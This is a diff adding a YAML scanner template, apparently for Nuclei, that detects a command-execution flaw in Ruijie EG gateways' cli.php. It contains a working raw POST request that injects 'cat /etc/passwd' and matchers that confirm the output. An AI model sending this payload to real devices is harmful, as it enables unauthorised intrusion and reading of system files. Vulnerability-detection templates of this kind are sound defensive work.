Create ruijie-eg-rce.yaml

vulnerabilities/other/ruijie-eg-rce.yaml

@@ -0,0 +1,32 @@
+id: ruijie-eg-rce
+
+info:
+  name: Ruijie EG cli.php RCE
+  author: pikpikcu
+  severity: critical
+  reference: http://wiki.peiqi.tech/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20cli.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html
+  vendor: https://www.ruijienetworks.com
+  tags: ruijie,rce
+
+requests:
+  - raw:
+      - |
+        POST /cli.php?a=shell HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
+        Content-Type: application/x-www-form-urlencoded;charset=UTF-8
+        Content-Length: 111
+
+        notdelay=true&command=cat /etc/passwd
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+          - "nobody:x:0:0:"
+        part: body
+
+      - type: status
+        status:
+          - 200